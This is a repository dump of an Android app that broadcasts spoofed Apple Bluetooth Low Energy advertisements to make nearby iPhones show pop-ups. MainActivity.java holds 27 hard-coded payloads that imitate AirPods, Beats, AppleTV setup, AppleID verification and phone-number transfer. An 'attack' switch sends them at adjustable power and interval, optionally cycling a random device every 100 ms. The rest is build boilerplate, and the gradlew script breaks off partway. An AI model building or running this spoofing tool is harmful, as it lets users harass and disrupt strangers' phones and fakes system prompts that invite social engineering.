Repository: Sab1e-GitHub/BadAppleJuice
Branch: master
Commit: a4117642fcb9
Files: 28
Total size: 52.8 KB
Directory structure:
gitextract__i52144a/
├── .gitignore
├── README.md
├── app/
│ ├── .gitignore
│ ├── build.gradle.kts
│ ├── proguard-rules.pro
│ └── src/
│ ├── androidTest/
│ │ └── java/
│ │ └── cn/
│ │ └── sab1e/
│ │ └── badapplejuice/
│ │ └── ExampleInstrumentedTest.java
│ ├── main/
│ │ ├── AndroidManifest.xml
│ │ ├── java/
│ │ │ └── cn/
│ │ │ └── sab1e/
│ │ │ └── badapplejuice/
│ │ │ └── MainActivity.java
│ │ └── res/
│ │ ├── drawable/
│ │ │ ├── ic_launcher_background.xml
│ │ │ └── ic_launcher_foreground.xml
│ │ ├── layout/
│ │ │ └── activity_main.xml
│ │ ├── mipmap-anydpi-v26/
│ │ │ ├── ic_launcher.xml
│ │ │ └── ic_launcher_round.xml
│ │ ├── values/
│ │ │ ├── colors.xml
│ │ │ ├── ic_launcher_background.xml
│ │ │ ├── strings.xml
│ │ │ └── themes.xml
│ │ ├── values-night/
│ │ │ └── themes.xml
│ │ └── xml/
│ │ ├── backup_rules.xml
│ │ └── data_extraction_rules.xml
│ └── test/
│ └── java/
│ └── cn/
│ └── sab1e/
│ └── badapplejuice/
│ └── ExampleUnitTest.java
├── build.gradle.kts
├── gradle/
│ └── wrapper/
│ ├── gradle-wrapper.jar
│ └── gradle-wrapper.properties
├── gradle.properties
├── gradlew
├── gradlew.bat
└── settings.gradle.kts
================================================
FILE CONTENTS
================================================
================================================
FILE: .gitignore
================================================
*.iml
.gradle
/local.properties
/.idea/caches
/.idea/libraries
/.idea/modules.xml
/.idea/workspace.xml
/.idea/navEditor.xml
/.idea/assetWizardSettings.xml
.DS_Store
/build
/captures
.externalNativeBuild
.cxx
local.properties
================================================
FILE: README.md
================================================
# BadAppleJuice
该项目已停止更新
本项目参考自[EvilAppleJuice](https://github.com/ckcr4lyf/EvilAppleJuice-ESP32)项目,用于在安卓设备上发送蓝牙广播包,唤起(iPhone)设备的弹窗。
> [!NOTE]
> Issue里尽量提供问题相关截图,谢谢!
* 程序图片展示

> [!NOTE]
> 程序截图为v1.3版本,后续版本可能略有不同
- [x] 当前功能:
1. 自动发送广播包
1. 自定义弹窗设备(27种)
1. 发送随机设备广播包
1. 自定义广播功率,控制广播范围
1. 自定义广播间隔时间
> [!NOTE]
> 作者是新手,代码写的不是很好,望见谅。
================================================
FILE: app/.gitignore
================================================
/build
================================================
FILE: app/build.gradle.kts
================================================
plugins {
id("com.android.application")
}
android {
namespace = "cn.sab1e.badapplejuice"
compileSdk = 33
defaultConfig {
applicationId = "cn.sab1e.badapplejuice"
minSdk = 26
targetSdk = 33
versionCode = 1
versionName = "1.5.1"
testInstrumentationRunner = "androidx.test.runner.AndroidJUnitRunner"
}
buildTypes {
release {
isMinifyEnabled = false
proguardFiles(
getDefaultProguardFile("proguard-android-optimize.txt"),
"proguard-rules.pro"
)
}
}
compileOptions {
sourceCompatibility = JavaVersion.VERSION_1_8
targetCompatibility = JavaVersion.VERSION_1_8
}
}
dependencies {
implementation("androidx.appcompat:appcompat:1.6.1")
implementation("com.google.android.material:material:1.8.0")
implementation("androidx.constraintlayout:constraintlayout:2.1.4")
testImplementation("junit:junit:4.13.2")
androidTestImplementation("androidx.test.ext:junit:1.1.5")
androidTestImplementation("androidx.test.espresso:espresso-core:3.5.1")
}
================================================
FILE: app/proguard-rules.pro
================================================
# Add project specific ProGuard rules here.
# You can control the set of applied configuration files using the
# proguardFiles setting in build.gradle.
#
# For more details, see
# http://developer.android.com/guide/developing/tools/proguard.html
# If your project uses WebView with JS, uncomment the following
# and specify the fully qualified class name to the JavaScript interface
# class:
#-keepclassmembers class fqcn.of.javascript.interface.for.webview {
# public *;
#}
# Uncomment this to preserve the line number information for
# debugging stack traces.
#-keepattributes SourceFile,LineNumberTable
# If you keep the line number information, uncomment this to
# hide the original source file name.
#-renamesourcefileattribute SourceFile
================================================
FILE: app/src/androidTest/java/cn/sab1e/badapplejuice/ExampleInstrumentedTest.java
================================================
package cn.sab1e.badapplejuice;
import android.content.Context;
import androidx.test.platform.app.InstrumentationRegistry;
import androidx.test.ext.junit.runners.AndroidJUnit4;
import org.junit.Test;
import org.junit.runner.RunWith;
import static org.junit.Assert.*;
/**
* Instrumented test, which will execute on an Android device.
*
* @see Testing documentation
*/
@RunWith(AndroidJUnit4.class)
public class ExampleInstrumentedTest {
@Test
public void useAppContext() {
// Context of the app under test.
Context appContext = InstrumentationRegistry.getInstrumentation().getTargetContext();
assertEquals("cn.sab1e.badapplejuice", appContext.getPackageName());
}
}
================================================
FILE: app/src/main/AndroidManifest.xml
================================================
================================================
FILE: app/src/main/java/cn/sab1e/badapplejuice/MainActivity.java
================================================
package cn.sab1e.badapplejuice;
import static android.content.pm.PackageManager.PERMISSION_GRANTED;
import android.Manifest;
import android.annotation.SuppressLint;
import android.bluetooth.BluetoothAdapter;
import android.bluetooth.le.AdvertiseData;
import android.bluetooth.le.AdvertisingSet;
import android.bluetooth.le.AdvertisingSetCallback;
import android.bluetooth.le.AdvertisingSetParameters;
import android.bluetooth.le.BluetoothLeAdvertiser;
import android.content.pm.PackageInfo;
import android.content.pm.PackageManager;
import android.os.Bundle;
import android.text.method.ScrollingMovementMethod;
import android.util.Log;
import android.view.View;
import android.widget.AdapterView;
import android.widget.ArrayAdapter;
import android.widget.Button;
import android.widget.CompoundButton;
import android.widget.EditText;
import android.widget.Spinner;
import android.widget.TextView;
import android.widget.Toast;
import androidx.annotation.NonNull;
import androidx.appcompat.app.AppCompatActivity;
import androidx.appcompat.widget.SwitchCompat;
import androidx.core.app.ActivityCompat;
import androidx.core.content.ContextCompat;
import java.time.LocalTime;
import java.time.format.DateTimeFormatter;
import java.util.Arrays;
import java.util.Random;
public class MainActivity extends AppCompatActivity {
private static final String TAG = "BLE";
private final DateTimeFormatter formatter = DateTimeFormatter.ofPattern("HH:mm:ss.SSS");
private BluetoothLeAdvertiser bluetoothLeAdvertiser;
private final BluetoothAdapter bluetoothAdapter = BluetoothAdapter.getDefaultAdapter();
AdvertisingSet currentAdvertisingSet = null;
/** @noinspection SpellCheckingInspection*/
public byte[][] deviceData = {
/*1_AirPods*/{0x07, 0x19, 0x07, 0x02, 0x20, 0x75, (byte) 0xaa, 0x30, 0x01, 0x00, 0x00, 0x45, 0x12, 0x12, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00},
/*2_AirPods Pro*/{0x07, 0x19, 0x07, 0x0e, 0x20, 0x75, (byte) 0xaa, 0x30, 0x01, 0x00, 0x00, 0x45, 0x12, 0x12, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00},
/*3_AirPods Max*/{0x07, 0x19, 0x07, 0x0a, 0x20, 0x75, (byte) 0xaa, 0x30, 0x01, 0x00, 0x00, 0x45, 0x12, 0x12, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00},
/*4_AirPods*/{0x07, 0x19, 0x07, 0x0f, 0x20, 0x75, (byte) 0xaa, 0x30, 0x01, 0x00, 0x00, 0x45, 0x12, 0x12, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00},
/*5_AirPods*/{0x07, 0x19, 0x07, 0x13, 0x20, 0x75, (byte) 0xaa, 0x30, 0x01, 0x00, 0x00, 0x45, 0x12, 0x12, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00},
/*6_AirPods Pro*/{0x07, 0x19, 0x07, 0x14, 0x20, 0x75, (byte) 0xaa, 0x30, 0x01, 0x00, 0x00, 0x45, 0x12, 0x12, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00},
/*7_Powerbeats3*/{0x07, 0x19, 0x07, 0x03, 0x20, 0x75, (byte) 0xaa, 0x30, 0x01, 0x00, 0x00, 0x45, 0x12, 0x12, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00},
/*8_Powerbeats Pro*/{0x07, 0x19, 0x07, 0x0b, 0x20, 0x75, (byte) 0xaa, 0x30, 0x01, 0x00, 0x00, 0x45, 0x12, 0x12, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00},
/*9_Beats Solo Pro*/{0x07, 0x19, 0x07, 0x0c, 0x20, 0x75, (byte) 0xaa, 0x30, 0x01, 0x00, 0x00, 0x45, 0x12, 0x12, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00},
/*10_Beats Studio Buds*/{0x07, 0x19, 0x07, 0x11, 0x20, 0x75, (byte) 0xaa, 0x30, 0x01, 0x00, 0x00, 0x45, 0x12, 0x12, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00},
/*11_Beats Flex*/{0x07, 0x19, 0x07, 0x10, 0x20, 0x75, (byte) 0xaa, 0x30, 0x01, 0x00, 0x00, 0x45, 0x12, 0x12, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00},
/*12_BeatsX*/{0x07, 0x19, 0x07, 0x05, 0x20, 0x75, (byte) 0xaa, 0x30, 0x01, 0x00, 0x00, 0x45, 0x12, 0x12, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00},
/*13_Beats Solo3*/{0x07, 0x19, 0x07, 0x06, 0x20, 0x75, (byte) 0xaa, 0x30, 0x01, 0x00, 0x00, 0x45, 0x12, 0x12, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00},
/*14_Beats Studio3*/{0x07, 0x19, 0x07, 0x09, 0x20, 0x75, (byte) 0xaa, 0x30, 0x01, 0x00, 0x00, 0x45, 0x12, 0x12, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00},
/*15_Beats Studio Pro*/{0x07, 0x19, 0x07, 0x17, 0x20, 0x75, (byte) 0xaa, 0x30, 0x01, 0x00, 0x00, 0x45, 0x12, 0x12, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00},
/*16_Beats Fit Pro*/{0x07, 0x19, 0x07, 0x12, 0x20, 0x75, (byte) 0xaa, 0x30, 0x01, 0x00, 0x00, 0x45, 0x12, 0x12, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00},
/*17_Beats Studio Buds +*/{0x07, 0x19, 0x07, 0x16, 0x20, 0x75, (byte) 0xaa, 0x30, 0x01, 0x00, 0x00, 0x45, 0x12, 0x12, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00},
/*18_设置AppleTV*/{0x04, 0x04, 0x2a, 0x00, 0x00, 0x00, 0x0f, 0x05, (byte) 0xc1, 0x01, 0x60, 0x4c, (byte) 0x95, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00},
/*19_配对AppleTV*/{0x04, 0x04, 0x2a, 0x00, 0x00, 0x00, 0x0f, 0x05, (byte) 0xc1, 0x20, 0x60, 0x4c, (byte) 0x95, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00},
/*20_AppleTV 验证AppleID*/{0x04, 0x04, 0x2a, 0x00, 0x00, 0x00, 0x0f, 0x05, (byte) 0xc1, 0x2b, 0x60, 0x4c, (byte) 0x95, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00},
/*21_AppleTV 隔空投放和HomeKit*/{0x04, 0x04, 0x2a, 0x00, 0x00, 0x00, 0x0f, 0x05, (byte) 0xc1, 0x0d, 0x60, 0x4c, (byte) 0x95, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00},
/*22_AppleTV键盘*/{0x04, 0x04, 0x2a, 0x00, 0x00, 0x00, 0x0f, 0x05, (byte) 0xc1, 0x13, 0x60, 0x4c, (byte) 0x95, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00},
/*23_正在连接AppleTV*/{0x04, 0x04, 0x2a, 0x00, 0x00, 0x00, 0x0f, 0x05, (byte) 0xc1, 0x27, 0x60, 0x4c, (byte) 0x95, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00},
/*24_HomePod*/{0x04, 0x04, 0x2a, 0x00, 0x00, 0x00, 0x0f, 0x05, (byte) 0xc1, 0x0b, 0x60, 0x4c, (byte) 0x95, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00},
/*25_设置新iPhone*/{0x04, 0x04, 0x2a, 0x00, 0x00, 0x00, 0x0f, 0x05, (byte) 0xc1, 0x09, 0x60, 0x4c, (byte) 0x95, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00},
/*26_转移手机号码*/{0x04, 0x04, 0x2a, 0x00, 0x00, 0x00, 0x0f, 0x05, (byte) 0xc1, 0x02, 0x60, 0x4c, (byte) 0x95, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00},
/*27_测量TV色彩平衡*/{0x04, 0x04, 0x2a, 0x00, 0x00, 0x00, 0x0f, 0x05, (byte) 0xc1, 0x1e, 0x60, 0x4c, (byte) 0x95, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00},
};
/** @noinspection SpellCheckingInspection*/ //private byte[][] testData = {{0x16, 0x01, 0x06, (byte) 0x80, 0x4a, (byte) 0xe4, (byte) 0xe4, 0x45, (byte) 0xe3, 0x65, 0x74, (byte) 0xd3, 0x6c, (byte) 0xee, (byte) 0xb9, 0x27, 0x40, (byte) 0x92, (byte) 0xd3, 0x6c, (byte) 0xee, (byte) 0xc7, 0x0f, 0x40}};
private final String[] deviceNameArr = {
"AirPods",
"AirPods Pro",
"AirPods Max",
"AirPods",
"AirPods",
"AirPods Pro",
"Powerbeats3",
"Powerbeats Pro",
"Beats Solo Pro",
"Beats Studio Buds",
"Beats Flex",
"BeatsX",
"Beats Solo3",
"Beats Studio3",
"Beats Studio Pro",
"Beats Fit Pro",
"Beats Studio Buds +",
"设置AppleTV",
"配对AppleTV",
"AppleTV 验证AppleID",
"AppleTV 隔空投放和HomeKit",
"AppleTV键盘",
"正在连接AppleTV",
"HomePod",
"设置新iPhone",
"转移手机号码",
"测量TV色彩平衡"
};
private String helpString = null;
private int spIndex = 0;
private boolean deviceIsRandom = false;
private boolean isStopThread = false;
private int interval = 160;
private int txPowerLevel = 1;
@SuppressLint("SetTextI18n")
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
Spinner sp_SelectDevice = findViewById(R.id.sp_SelectDevice);
ArrayAdapter devAdapter = new ArrayAdapter<>(this, android.R.layout.simple_list_item_1, deviceNameArr);
sp_SelectDevice.setAdapter(devAdapter);
sp_SelectDevice.setSelection(0);
SwitchCompat sw_ATTACK = findViewById(R.id.sw_ATTACK);
SwitchCompat sw_RandomDevice = findViewById(R.id.sw_RandomDevice);
Button btn_help = findViewById(R.id.btn_help);
Button btn_SetParameter = findViewById(R.id.btn_SetParameter);
TextView tv_Debug = findViewById(R.id.tv_Debug);
TextView tv_advState = findViewById(R.id.tv_advState);
EditText et_Interval = findViewById(R.id.et_Interval);
EditText et_TxPowerLevel = findViewById(R.id.et_TxPowerLevel);
Random random = new Random(100);
tv_Debug.setMovementMethod(ScrollingMovementMethod.getInstance());
if (bluetoothAdapter != null && bluetoothAdapter.isEnabled()) {
if (bluetoothAdapter.isMultipleAdvertisementSupported()) {
bluetoothLeAdvertiser = bluetoothAdapter.getBluetoothLeAdvertiser();
} else {
Toast.makeText(this, "您的设备不支持BLE广播!错误代码:03", Toast.LENGTH_SHORT).show();
}
} else {
Toast.makeText(this, "您的设备不支持蓝牙!错误代码:04", Toast.LENGTH_SHORT).show();
}
helpString = "\n当前软件版本号:v"
+ getVersionName()
+ "\n当前设备SDK版本:"
+ android.os.Build.VERSION.SDK_INT
+ "\n\n作者:Sab1e\n"
+ "\n程序功能介绍:\n"
+ "\n随机设备:从27个设备中随机选取。\n"
+ "\n发射功率:单位为dBm,取值范围:[-127,1]\n"
+ "\n间隔时间:单位为0.625ms,取值范围:[160,16777215]\n"
+ "\n声明:该软件仅用于学习和交流使用,作者不承担用户使用该软件的任何后果,使用该软件表示用户同意该声明。";
tv_Debug.setText(helpString);
sp_SelectDevice.setOnItemSelectedListener(new AdapterView.OnItemSelectedListener() {
@SuppressLint("MissingPermission")
@Override
public void onItemSelected(AdapterView> parent, View view, int position, long id) {
if (bluePermission()) {
if (currentAdvertisingSet != null) {
Log.i(TAG, "device modify successful!");
currentAdvertisingSet.setAdvertisingData(new AdvertiseData.Builder()
.addManufacturerData(0x004c, deviceData[spIndex])
.build());
}
}
}
@Override
public void onNothingSelected(AdapterView> parent) {
}
});
//参数设置时检查输入是否合法
btn_SetParameter.setOnClickListener(new View.OnClickListener() {
@SuppressLint("MissingPermission")
@Override
public void onClick(View v) {
int lastInterval = interval;
int lastTxPowerLevel = txPowerLevel;
try {
interval = Integer.parseInt(et_Interval.getText().toString());
txPowerLevel = Integer.parseInt(et_TxPowerLevel.getText().toString());
if ((interval >= 160 && interval <= 16777215) && (txPowerLevel >= -127 && txPowerLevel <= 1)) {
if (bluePermission()) {
if (currentAdvertisingSet != null) {
Log.i(TAG, "currentAdvertisingSet modify successful!");
currentAdvertisingSet.setAdvertisingParameters(new AdvertisingSetParameters.Builder()
.setTxPowerLevel(txPowerLevel)
.setInterval(interval)
.build());
}
tv_Debug.setText("参数设置成功!\n当前参数:\n\t发射功率:" + txPowerLevel + "dBm\n\t间隔时间:" + (interval * 0.625) + "ms\n\t随机设备:" + deviceIsRandom);
}
} else {
throw new Exception();
}
} catch (Exception e) {
interval = lastInterval;
txPowerLevel = lastTxPowerLevel;
et_Interval.setText(String.valueOf(lastInterval));
et_TxPowerLevel.setText(String.valueOf(lastTxPowerLevel));
Toast.makeText(MainActivity.this, "输入值不合法,请重新输入!", Toast.LENGTH_SHORT).show();
}
}
});
btn_help.setOnClickListener(v -> tv_Debug.setText(helpString));
sw_RandomDevice.setOnCheckedChangeListener((buttonView, isChecked) -> {
deviceIsRandom = isChecked;
tv_Debug.setText("参数设置成功!\n当前参数:\n\t发射功率:" + txPowerLevel + "dBm\n\t间隔时间:" + (interval * 0.625) + "ms\n\t随机设备:" + deviceIsRandom);
});
sw_ATTACK.setOnCheckedChangeListener(new CompoundButton.OnCheckedChangeListener() {
@Override
@SuppressLint("MissingPermission")
public void onCheckedChanged(CompoundButton buttonView, boolean isChecked) {
if (isChecked) {
isStopThread = false;
tv_Debug.setText("");
tv_Debug.append("正在进行各项检测");
tv_Debug.append(".");
if (bluetoothAdapter == null) {
tv_Debug.append("\n您的设备不支持蓝牙功能!\n");
sw_ATTACK.setChecked(false);
return;
}
tv_Debug.append(".");
if (!bluetoothAdapter.isEnabled()) {
tv_Debug.append("\n蓝牙已关闭\n请打开蓝牙后重试\n");
sw_ATTACK.setChecked(false);
return;
}
tv_Debug.append(".");
if (!(bluetoothAdapter.isOffloadedFilteringSupported() ||
bluetoothAdapter.isOffloadedScanBatchingSupported() ||
bluetoothAdapter.isMultipleAdvertisementSupported())) {
tv_Debug.append("\n您的设备不支持BLE广播功能!\n");
sw_ATTACK.setChecked(false);
return;
}
tv_Debug.append("\n检测完毕,功能正常!\n");
tv_Debug.append("正在获取蓝牙权限...\n");
if (bluePermission()) {
tv_Debug.append("蓝牙权限获取成功!\n");
tv_Debug.append("当前参数:\n\t发射功率:" + txPowerLevel + "dBm\n\t间隔时间:" + (interval * 0.625) + "ms\n\t随机设备:" + deviceIsRandom);
interval = Integer.parseInt(et_Interval.getText().toString());
txPowerLevel = Integer.parseInt(et_TxPowerLevel.getText().toString());
spIndex = sp_SelectDevice.getSelectedItemPosition();
startAdv(deviceData[spIndex]);
new Thread(() -> {
while (true) {
try {
//随机设备
if (deviceIsRandom) {
spIndex = random.nextInt(26);
if (currentAdvertisingSet != null) {
Log.i(TAG, "device modify successful!");
currentAdvertisingSet.setAdvertisingData(new AdvertiseData.Builder()
.addManufacturerData(0x004c, deviceData[spIndex])
.build());
}
} else {
spIndex = sp_SelectDevice.getSelectedItemPosition();
}
runOnUiThread(() -> tv_advState.setText("@" + LocalTime.now().format(formatter) + " \t" + deviceNameArr[spIndex] + "\n"));
if (isStopThread) {
runOnUiThread(() -> tv_advState.setText("广播已停止"));
stopAdv();
break;
}
Thread.sleep(100);
} catch (InterruptedException e) {
throw new RuntimeException(e);
}
}
}).start();
} else {
tv_Debug.append("\n无权限,请授权后重试!\n");
sw_ATTACK.setChecked(false);
}
} else {
isStopThread = true;
}
}
});
}
//获取当前APP版本
private String getVersionName() {
PackageManager packageManager = getPackageManager();
PackageInfo packInfo;
try {
packInfo = packageManager.getPackageInfo(getPackageName(), 0);
} catch (PackageManager.NameNotFoundException e) {
throw new RuntimeException(e);
}
return packInfo.versionName;
}
//获取蓝牙权限
private boolean bluePermission() {
Log.i(TAG, "Requesting Bluetooth Permission...");
if (android.os.Build.VERSION.SDK_INT > 30) {
if (checkPermission(Manifest.permission.BLUETOOTH_ADVERTISE, Manifest.permission.BLUETOOTH_CONNECT)) {
requestPermission(Manifest.permission.BLUETOOTH_ADVERTISE, Manifest.permission.BLUETOOTH_CONNECT);
return false;
}
} else {
if (checkPermission(Manifest.permission.ACCESS_FINE_LOCATION)) {
requestPermission(Manifest.permission.ACCESS_FINE_LOCATION);
return false;
}
}
return true;
}
/**
* 封装检测权限的方法
*
* @param permissions 权限列表
* @return 是否有权限
*/
private boolean checkPermission(@NonNull String... permissions) {
return Arrays.stream(permissions).allMatch(permission ->
ContextCompat.checkSelfPermission(this, permission) != PERMISSION_GRANTED);
}
/**
* 封装请求权限的方法
*
* @param permissions 权限列表
*/
private void requestPermission(@NonNull String... permissions) {
ActivityCompat.requestPermissions(this, permissions, 1);
}
//权限获取结果反馈
@Override
public void onRequestPermissionsResult(int requestCode, @NonNull String[] permissions, @NonNull int[] grantResults) {
super.onRequestPermissionsResult(requestCode, permissions, grantResults);
if (requestCode == 1) {
if (grantResults[0] != PERMISSION_GRANTED) {
if (android.os.Build.VERSION.SDK_INT > 30) {
if (checkPermission(Manifest.permission.BLUETOOTH_ADVERTISE)) {
Toast.makeText(this, "无权限:BLUETOOTH_ADVERTISE", Toast.LENGTH_SHORT).show();
}
if (checkPermission(Manifest.permission.BLUETOOTH_CONNECT)) {
Toast.makeText(this, "无权限:BLUETOOTH_CONNECT", Toast.LENGTH_SHORT).show();
}
} else {
if (checkPermission(Manifest.permission.ACCESS_FINE_LOCATION)) {
Toast.makeText(this, "无权限:android.permission.ACCESS_FINE_LOCATION", Toast.LENGTH_SHORT).show();
}
}
}
}
}
//停止广播
@SuppressLint("MissingPermission")
public void stopAdv() {
AdvertisingSetCallback advertisingCallback = new AdvertisingSetCallback() {
@Override
public void onAdvertisingSetStarted(AdvertisingSet advertisingSet, int txPower, int status) {
Log.i(TAG, "onAdvertisingSetStarted(): txPower:" + txPower + " , status: " + status);
currentAdvertisingSet = advertisingSet;
}
@Override
public void onAdvertisingDataSet(AdvertisingSet advertisingSet, int status) {
Log.i(TAG, "onAdvertisingDataSet() :status:" + status);
}
@Override
public void onScanResponseDataSet(AdvertisingSet advertisingSet, int status) {
Log.i(TAG, "onScanResponseDataSet(): status:" + status);
}
@Override
public void onAdvertisingSetStopped(AdvertisingSet advertisingSet) {
Log.i(TAG, "onAdvertisingSetStopped():");
}
};
if (bluePermission()) {
bluetoothLeAdvertiser.stopAdvertisingSet(advertisingCallback);
}
}
//开始广播
@SuppressLint("MissingPermission")
public void startAdv(byte[] data) {
AdvertisingSetParameters parameters = new AdvertisingSetParameters.Builder()
.setLegacyMode(true)
.setConnectable(false)
.setInterval(interval)
.setTxPowerLevel(txPowerLevel)
.build();
AdvertiseData Data = new AdvertiseData.Builder()
.setIncludeDeviceName(false)
.setIncludeTxPowerLevel(false)
.addManufacturerData(0x004c, data)
.build();
AdvertiseData scanData = new AdvertiseData.Builder()
.setIncludeTxPowerLevel(true)
.setIncludeDeviceName(true)
.build();
AdvertisingSetCallback advertisingCallback = new AdvertisingSetCallback() {
@Override
public void onAdvertisingSetStarted(AdvertisingSet advertisingSet, int txPower, int status) {
Log.i(TAG, "onAdvertisingSetStarted(): txPower:" + txPower + " , status: " + status);
currentAdvertisingSet = advertisingSet;
}
@Override
public void onAdvertisingDataSet(AdvertisingSet advertisingSet, int status) {
Log.i(TAG, "onAdvertisingDataSet() :status:" + status);
}
@Override
public void onScanResponseDataSet(AdvertisingSet advertisingSet, int status) {
Log.i(TAG, "onScanResponseDataSet(): status:" + status);
}
@Override
public void onAdvertisingSetStopped(AdvertisingSet advertisingSet) {
Log.i(TAG, "onAdvertisingSetStopped():");
}
};
if (bluePermission()) {
Log.d(TAG, "Advertising Successful!");
bluetoothLeAdvertiser.startAdvertisingSet(parameters, Data, scanData, null, null, advertisingCallback);
} else {
Log.e(TAG, "Advertising Failed! Need Permission.");
Toast.makeText(this, "程序需要获取权限!错误代码:02", Toast.LENGTH_SHORT).show();
}
}
}
================================================
FILE: app/src/main/res/drawable/ic_launcher_background.xml
================================================
================================================
FILE: app/src/main/res/drawable/ic_launcher_foreground.xml
================================================
================================================
FILE: app/src/main/res/layout/activity_main.xml
================================================
================================================
FILE: app/src/main/res/mipmap-anydpi-v26/ic_launcher.xml
================================================
================================================
FILE: app/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml
================================================
================================================
FILE: app/src/main/res/values/colors.xml
================================================
#FFBB86FC
#FF6200EE
#FF3700B3
#FF03DAC5
#FF018786
#FF000000
#FFFFFFFF
#FF1E90FF
#FF4169E1
#FF000000
#FFB0B0B0
================================================
FILE: app/src/main/res/values/ic_launcher_background.xml
================================================
#000000
================================================
FILE: app/src/main/res/values/strings.xml
================================================
BadAppleJuice
================================================
FILE: app/src/main/res/values/themes.xml
================================================
================================================
FILE: app/src/main/res/values-night/themes.xml
================================================
================================================
FILE: app/src/main/res/xml/backup_rules.xml
================================================
================================================
FILE: app/src/main/res/xml/data_extraction_rules.xml
================================================
================================================
FILE: app/src/test/java/cn/sab1e/badapplejuice/ExampleUnitTest.java
================================================
package cn.sab1e.badapplejuice;
import org.junit.Test;
import static org.junit.Assert.*;
/**
* Example local unit test, which will execute on the development machine (host).
*
* @see Testing documentation
*/
public class ExampleUnitTest {
@Test
public void addition_isCorrect() {
assertEquals(4, 2 + 2);
}
}
================================================
FILE: build.gradle.kts
================================================
// Top-level build file where you can add configuration options common to all sub-projects/modules.
plugins {
id("com.android.application") version "8.1.1" apply false
}
================================================
FILE: gradle/wrapper/gradle-wrapper.properties
================================================
#Thu Nov 16 00:36:48 CST 2023
distributionBase=GRADLE_USER_HOME
distributionPath=wrapper/dists
distributionUrl=https\://services.gradle.org/distributions/gradle-8.0-bin.zip
zipStoreBase=GRADLE_USER_HOME
zipStorePath=wrapper/dists
================================================
FILE: gradle.properties
================================================
# Project-wide Gradle settings.
# IDE (e.g. Android Studio) users:
# Gradle settings configured through the IDE *will override*
# any settings specified in this file.
# For more details on how to configure your build environment visit
# http://www.gradle.org/docs/current/userguide/build_environment.html
# Specifies the JVM arguments used for the daemon process.
# The setting is particularly useful for tweaking memory settings.
org.gradle.jvmargs=-Xmx2048m -Dfile.encoding=UTF-8
# When configured, Gradle will run in incubating parallel mode.
# This option should only be used with decoupled projects. More details, visit
# http://www.gradle.org/docs/current/userguide/multi_project_builds.html#sec:decoupled_projects
# org.gradle.parallel=true
# AndroidX package structure to make it clearer which packages are bundled with the
# Android operating system, and which are packaged with your app's APK
# https://developer.android.com/topic/libraries/support-library/androidx-rn
android.useAndroidX=true
# Enables namespacing of each library's R class so that its R class includes only the
# resources declared in the library itself and none from the library's dependencies,
# thereby reducing the size of the R class for that library
android.nonTransitiveRClass=true
================================================
FILE: gradlew
================================================
#!/usr/bin/env sh
#
# Copyright 2015 the original author or authors.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# https://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
##############################################################################
##
## Gradle start up script for UN*X
##
##############################################################################
# Attempt to set APP_HOME
# Resolve links: $0 may be a link
PRG="$0"
# Need this for relative symlinks.
while [ -h "$PRG" ] ; do
ls=`ls -ld "$PRG"`
link=`expr "$ls" : '.*-> \(.*\)$'`
if expr "$link" : '/.*' > /dev/null; then
PRG="$link"
else
PRG=`dirname "$PRG"`"/$link"
fi
done
SAVED="`pwd`"
cd "`dirname \"$PRG\"`/" >/dev/null
APP_HOME="`pwd -P`"
cd "$SAVED" >/dev/null
APP_NAME="Gradle"
APP_BASE_NAME=`basename "$0"`
# Add default JVM options here. You can also use JAVA_OPTS and GRADLE_OPTS to pass JVM options to this script.
DEFAULT_JVM_OPTS='"-Xmx64m" "-Xms64m"'
